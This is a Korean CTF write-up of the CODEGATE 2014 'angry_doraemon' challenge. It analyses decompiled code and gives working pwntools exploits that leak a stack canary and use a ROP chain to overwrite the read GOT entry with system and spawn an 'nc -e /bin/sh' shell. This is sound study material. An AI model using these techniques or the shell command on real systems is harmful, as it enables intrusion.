ipwn
[CODEGATE 2014] angry_doraemon 본문
이번에 푼 문제는 CODEGATE 2014에 나왔던 문제인 angry_doraemon이다.
checksec를 이용해서 바이너리에 어떤 보호기법이 걸려있는지 확인하겠다.
NX와 canary가 있는 것을 확인할 수 있다.
이제 바로 IDA로 분석하겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | void __cdecl __noreturn main() { int optval; // [esp+28h] [ebp-C8h] socklen_t addr_len; // [esp+2Ch] [ebp-C4h] int v2; // [esp+30h] [ebp-C0h] int v3; // [esp+34h] [ebp-BCh] int v4; // [esp+38h] [ebp-B8h] __pid_t v5; // [esp+3Ch] [ebp-B4h] __pid_t (*v6)(); // [esp+40h] [ebp-B0h] int v7; // [esp+44h] [ebp-ACh] int v8; // [esp+C4h] [ebp-2Ch] char s; // [esp+CCh] [ebp-24h] uint16_t v10; // [esp+CEh] [ebp-22h] uint32_t v11; // [esp+D0h] [ebp-20h] struct sockaddr addr; // [esp+DCh] [ebp-14h] unsigned int v13; // [esp+ECh] [ebp-4h] v13 = __readgsdword(0x14u); optval = 1; v6 = sub_80488CB; sigemptyset((sigset_t *)&v7); v8 = 0; v2 = sigaction(17, (const struct sigaction *)&v6, 0); if ( v2 ) sub_804889D((int)"sigaction error"); v3 = socket(2, 1, 0); memset(&s, 0, 0x10u); *(_WORD *)&s = 2; v11 = htonl(0); v10 = htons(8888u); setsockopt(v3, 1, 2, &optval, 4u); if ( bind(v3, (const struct sockaddr *)&s, 0x10u) == -1 ) sub_804889D((int)"bind() error"); if ( listen(v3, 10) == -1 ) sub_804889D((int)"listen() error"); while ( 1 ) { do { addr_len = 16; v4 = accept(v3, &addr, &addr_len); } while ( v4 == -1 ); v5 = fork(); if ( v5 == -1 ) { close(v4); } else { if ( v5 <= 0 ) { close(v3); sub_8049201(v4); close(v4); exit(0); } close(v4); } } } |
main함수 부분이다.
소켓통신을 진행한다. 8888 port로 nc를 열어준다.
한 번 nc로 접속해보겠다.
이렇게 텍스트형식으로 이뤄진 도라에몽 잡기 게임이었다.
도라에몽 만화에서 쥐를 싫어한다고 했던 것이 기억난다.
한 번 4번을 눌러서 쥐를 던져보겠다.
진짜 쥐를 싫어하는 것 같다 ㅋㅋㅋ
피가 25나 닳았다.
쥐를 계속 던져 도라에몽을 잡았더니 I'll be back...이라는 말을 남기고 끝이 나버린다.
여기서 이상한 점이있다.
분명 y만 입력받으면 될텐데 개행까지 입력받고 출력한다는 점이다.
일단 다시 IDA로 돌아가서 sub_8049201함수를 한 번 들여다보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | unsigned int __cdecl sub_8049201(int fd) { char buf; // [esp+18h] [ebp-10h] unsigned int v3; // [esp+1Ch] [ebp-Ch] v3 = __readgsdword(0x14u); sub_8048909(fd); write(fd, "Waiting 2 seconds...\n", 0x15u); sleep(2u); while ( 1 ) { sub_8048998(fd); read(fd, &buf, 4u); switch ( buf ) { case '1': sub_8048B30(fd); break; case '2': sub_8048CDC(fd); break; case '3': if ( sub_8048EAA(fd) ) return __readgsdword(0x14u) ^ v3; break; case '4': sub_8048FC6(fd); break; case '5': sub_8049100(fd); break; case '6': return __readgsdword(0x14u) ^ v3; default: write(fd, "Unknown menu\n", 0xDu); break; } if ( dword_804B078 <= 0 ) break; if ( dword_804B078 > 100 ) dword_804B078 = 100; } write(fd, "\"I'll be back...\"\n", 0x12u); return __readgsdword(0x14u) ^ v3; } |
어떤 행위를 실행할지 입력을 받는다.
1번부터 한 번 차례로 읽어보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | unsigned int __cdecl sub_8048B30(int fd) { int buf; // [esp+22h] [ebp-116h] int v3; // [esp+26h] [ebp-112h] __int16 v4; // [esp+2Ah] [ebp-10Eh] char v5; // [esp+2Ch] [ebp-10Ch] unsigned int v6; // [esp+12Ch] [ebp-Ch] v6 = __readgsdword(0x14u); buf = 0; v3 = 0; v4 = 0; memset(&v5, 0, 0x100u); write(fd, "\n1)Toy sword\n2)Small sword\n3)Big sword\n", 0x27u); *((_BYTE *)&buf + read(fd, &buf, 3u)) = 0; switch ( (char)buf ) { case 50: write(fd, "\"Come on! (HP - 1)\"\n", 0x14u); --dword_804B078; break; case 51: write(fd, "\"Shit! (HP - 1)\"\n", 0x11u); --dword_804B078; break; case 49: write(fd, "\"No damaged.\"\n", 0xEu); break; default: return __readgsdword(0x14u) ^ v6; } if ( dword_804B078 == 31337 ) execl("/bin/sh", "sh", 0); if ( (_BYTE)buf == 51 ) write(fd, "\"I'm a robot!\"\n", 0xFu); else write(fd, "\"Hahaha, I'm a robot!\"\n", 0x17u); return __readgsdword(0x14u) ^ v6; } |
별 다른 취약점은 발견할 수 없다.
execl("/bin/sh", "sh", 0); 함수가 있긴 하지만 리버스 커넥션으로 쉘을 획득해야 하기에 저건 아무 의미없다고 볼 수 있다.
2번 메뉴를 보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | unsigned int __cdecl sub_8048CDC(int fd) { ssize_t n; // ST1C_4 signed int v3; // [esp+18h] [ebp-120h] int v4; // [esp+20h] [ebp-118h] int buf; // [esp+25h] [ebp-113h] __int16 v6; // [esp+29h] [ebp-10Fh] char v7; // [esp+2Bh] [ebp-10Dh] char v8; // [esp+2Ch] [ebp-10Ch] unsigned int v9; // [esp+12Ch] [ebp-Ch] v9 = __readgsdword(0x14u); buf = 0; v6 = 0; v7 = 0; memset(&v8, 0, 0x100u); write(fd, "\n1)Phillips screwdriver\n2)Flat-head screwdriver\n", 0x30u); *((_BYTE *)&buf + read(fd, &buf, 6u)) = 0; if ( (char)buf == '1' ) { buf = 't.sp'; v6 = 29816; v7 = 0; v3 = 15; } else { if ( (char)buf != '2' ) { buf = 't.sp'; v6 = 29816; v7 = 0; return __readgsdword(0x14u) ^ v9; } buf = 't.sf'; v6 = 29816; v7 = 0; v3 = 14; } v4 = open((const char *)&buf, 0); if ( v4 < 0 ) sub_804889D((int)"open() error"); n = read(v4, ::buf, 0x1388u); write(fd, ::buf, n); write(fd, "\"Ouch!!! (HP - x)\"\n", 0x13u); dword_804B078 -= v3; return __readgsdword(0x14u) ^ v9; } |
별 다른 취약점은 보이지 않는다.
3번을 살펴보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | signed int __cdecl sub_8048EAA(int a1) { ssize_t n; // ST14_4 int fd; // [esp+10h] [ebp-18h] char buf; // [esp+18h] [ebp-10h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); fd = open("bread.txt", 0); if ( fd < 0 ) sub_804889D((int)"open() error"); n = read(fd, ::buf, 0x1388u); close(fd); write(a1, ::buf, n); write(a1, "\n\"Thank you! (HP + 10)\"\n", 0x18u); dword_804B078 += 10; write(a1, "You wanna apologize? (y/n) ", 0x1Bu); read(a1, &buf, 4u); if ( buf != 'y' ) return 0; write(a1, "\"Sorry, doraemon\"\n", 0x12u); return 1; } |
이 곳도 별 다른 이상한 점은 없다.
그냥 참 거짓을 판별해주는 코드이다.
도라에몽에게 사과하면 프로그램이 종료된다.
드디어 쥐 던지기인 4번 메뉴이다.
왠지 이 부분에 취약점이 있을 것 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | unsigned int __cdecl sub_8048FC6(int fd) { int v1; // eax ssize_t n; // ST1C_4 int v4; // [esp+18h] [ebp-20h] int buf; // [esp+22h] [ebp-16h] int v6; // [esp+26h] [ebp-12h] __int16 v7; // [esp+2Ah] [ebp-Eh] unsigned int v8; // [esp+2Ch] [ebp-Ch] v8 = __readgsdword(0x14u); buf = 0; v6 = 0; v7 = 0; v4 = open("mouse.txt", 0); if ( v4 < 0 ) sub_804889D((int)"open() error"); write(fd, "Are you sure? (y/n) ", 0x14u); read(fd, &buf, 110u); if ( (_BYTE)buf == 'y' ) { v1 = sprintf(::buf, "You choose '%s'!\n", &buf); write(fd, ::buf, v1); n = read(v4, ::buf, 0x1388u); write(fd, ::buf, n); write(fd, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n", 0x1Cu); dword_804B078 -= 25; } return __readgsdword(0x14u) ^ v8; } |
진짜 여기서 취약점이 터졌다.
buf공간에 입력을 받는 부분에서 터졌는데, 일단 buf의 첫 byte는 'y'여야 한다.
그런데 buf의 공간은 ebp-0x16부터인데, 입력은 0x6e즉 110byte만큼 받는다.
즉 이 부분에서 Buffer Overflow를 일으켜서 ROP를 이용, 쉘을 가져올 수 있다.
그리고 sprintf로 출력을 해줄 때에는 canary를 leak할 수 있을 것이다.
이제 우리는 exploit을 할 수 있을 것이다.
read와 write를 이용 got를 덮어 system을 호출해서 리버스 커넥션으로 쉘을 가져올 것이다.
즉 가젯은 pop pop pop ret gadget만 구해주면 될 것이다.
우리가 구해야 exploit을 하기 위해 구해야하는 값을 정리해보면
1. read_plt
2. write_plt
3. read_got
4. system offset
5. pppr
6. bss
위의 값들이 될 것이다.
일단 canary를 가장 먼저 우회해야 ROP를 할 수 있으므로 canary를 leak해보겠다.
canary의 위치는 ebp-0xC, buf의 시작부분은 ebp-0x16이다.
즉 10byte를 덮어주면 buf값을 출력할 때 canary가 함께 leak될 것이다.
한 번 leak할 script를 작성해서 canary를 leak해보겠다.
1 2 3 4 5 6 7 8 | from pwn import * p = remote( 'localhost', 8888 ) p.sendafter('>', '4') p.sendafter('(y/n) ', 'y'*10) print hexdump(p.recv(1024)) |
script는 이렇게 구성이 될 것이다.
한 번 값을 받아와보겠다.
79는 y를 의미한다.
이상하다 분명 제대로 canary가 leak 돼야 하는데 정상 출력시 출력 값인 '!\n의 값만 출력이 됐을 뿐이지
canary가 leak되지 않았다.
그렇다면 canary의 마지막 byte는 NULL로 이뤄져있다는 말이될 것이다.
그렇다면 y의 값을 11개를 넣어 canary를 leak해보겠다.
canary가 성공적으로 leak됐다.
순간 뒤의 값들도 전부 leak돼서 당황했다;; canary는 4byte로 이뤄져있으니 canary의 값은
마지막 y의 바로 뒤의 값의 3byte + NULL이 될 것이다.
canary는 성공적으로 leak했으니 이제 read_plt와, write_plt그리고 read_got, offset, bss, gadget을 구해보자.
가장 먼저 read와 write를 구해보자.
read_plt, write_plt는 각각 0x8048620, 0x80486e0이고, read_got는 0x804b010이라는 것을 알 수 있다.
이제 offset을 구해보도록 하겠다.
read와 system함수간의 offset은 0x9ad60인 것을 알 수있다.
이제 gadget을 구하러 가보자.
objdump -d angry_doraemon | grep ret -B3으로 간단히 구하면
pop pop pop ret gadget은 0x80495bd임을 알 수 있다.
이제 bss만 구해주면 될 것 같다.
objdump -x angry_doraemon | grep bss으로 간단히 구하면 bss는 0x804b080임을 알 수 있다.
이제 구한 정보를 한 번 정리해보자.
1. read_plt = 0x8048620
2. write_plt = 0x80486e0
3. read_got = 0x804b010
4. system_offset = 0x9ad60
5. pppr = 0x80495db
6. bss = 0x804b080
이제 정보들을 다 구했으니 python을 이용해 script를 작성해서 shell을 가져와보겠다.
성공적으로 shell을 가져왔다.
이제 script를 분석해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * p = remote( 'localhost', 8888 ) read_plt = 0x8048620 write_plt = 0x80486e0 read_got = 0x804b010 sys_offset = 0x9ad60 pppr = 0x80495bd bss = 0x804b080 cmd = 'nc -lvp 9003 -e /bin/sh' #canary leak p.sendlineafter('>', '4') p.sendafter('(y/n) ', 'y'*11) p.recvuntil('y'*11) recv_buf = p.recv(1024)[0:3] canary = u32('\x00' + recv_buf) print '[+] canary leak : ' + str(hex(canary)) p.close() |
canary를 leak해주는 부분이다.
별로 이해에 어려운 부분은 없을 것이다.
24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | #payload p = remote( 'localhost', 8888 ) pay = '' pay += 'y'*10 pay += p32(canary) pay += 'A'*12 #input cmd pay += p32(read_plt) pay += p32(pppr) pay += p32(4) pay += p32(bss) pay += p32(len(cmd)+2) #output real read pay += p32(write_plt) pay += p32(pppr) pay += p32(4) pay += p32(read_got) pay += p32(4) #input system pay += p32(read_plt) pay += p32(pppr) pay += p32(4) pay += p32(read_got) pay += p32(4) |
한 번에 설명하겠다.
payload에 canary를 덮어주고 ret을 read로 덮어서 bss에 cmd를 넣을 수 있게 해주고,
write로 read의 실 주소를 leak해준다.
그 뒤엔 read_got를 system실 주소로 덮어줄 수 있게 만들어준다.
어려운 것은 마찬가지로 없을 것이다.
51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | #nc localhost 9003 pay += p32(read_plt) pay += "AAAA" pay += p32(bss) p.sendlineafter('>', '4') p.sendlineafter('(y/n) ', pay) p.sendline(cmd) recv_b = p.recv(1024) system = u32(recv_b) - sys_offset print '[+] system addr : ' + str(hex(system)) p.send(p32(system)) print '[*] nc localhost 9003 is shell!' |
이 부분은 read가 system으로 덮이고 그 이후이기 때문에 system함수로 bss에 적힌 값을 실행해준다.
그리고 payload를 보내주는 부분, cmd값을 보내주는 부분, leak된 read의 주소를 recv해 와서
system의 주소를 구하는 부분이다.
그 뒤에 system함수를 보내줘, read를 system으로 덮어준다.
이렇게 shell을 가져올 수 있게 되는 것이다.
크게 어려운 문제는 아니었던 것 같다.
아래 script는 pwntool의 rop기능을 이용해 exploit을 한 script이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | from pwn import * p = remote( 'localhost', 8888 ) e = ELF('./angry_doraemon') rop = ROP(e) cmd = 'nc -lvp 9003 -e /bin/sh' sys_offset = 0x9ad60 rop.read(4, e.bss(), len(cmd)+2) rop.write(4, e.got['read'], 4) rop.read(4, e.got['read'], 4) rop.read(e.bss()) p.sendlineafter('>', '4') p.sendafter('(y/n) ','y'*11) p.recvuntil('y'*11) recv_b = p.recv(1024)[0:3] canary = u32('\x00' + recv_b) print '[+] canary leak : ' + str(hex(canary)) p.close() p = remote( 'localhost', 8888 ) pay = '' pay += 'y'*10 pay += p32(canary) pay += 'A'*12 pay += rop.chain() p.sendlineafter('>', '4') p.sendlineafter('(y/n) ', pay) p.sendline(cmd) recv_b = p.recv(1024) system = u32(recv_b) - sys_offset print '[+] system addr : ' + str(hex(system)) p.sendline(p32(system)) print '[*] nc localhost 9003 is shell!' |
진짜 봐도봐도 사기적이라는 말 밖에는 나오지 않는다 ㅋㅋㅋㅋㅋ
'CTF's > CODEGATE' 카테고리의 다른 글
[CODEGATE 2016] bugbug (0) | 2018.03.26 |
---|---|
[CODEGATE 2018] BaskinRobins31 (5) | 2018.03.02 |
[CODEGATE 2014] nuclear (0) | 2018.02.02 |
[CODEGATE 2017] babyMISC (0) | 2018.01.31 |
[CODEGATE 2017] babypwn (0) | 2018.01.30 |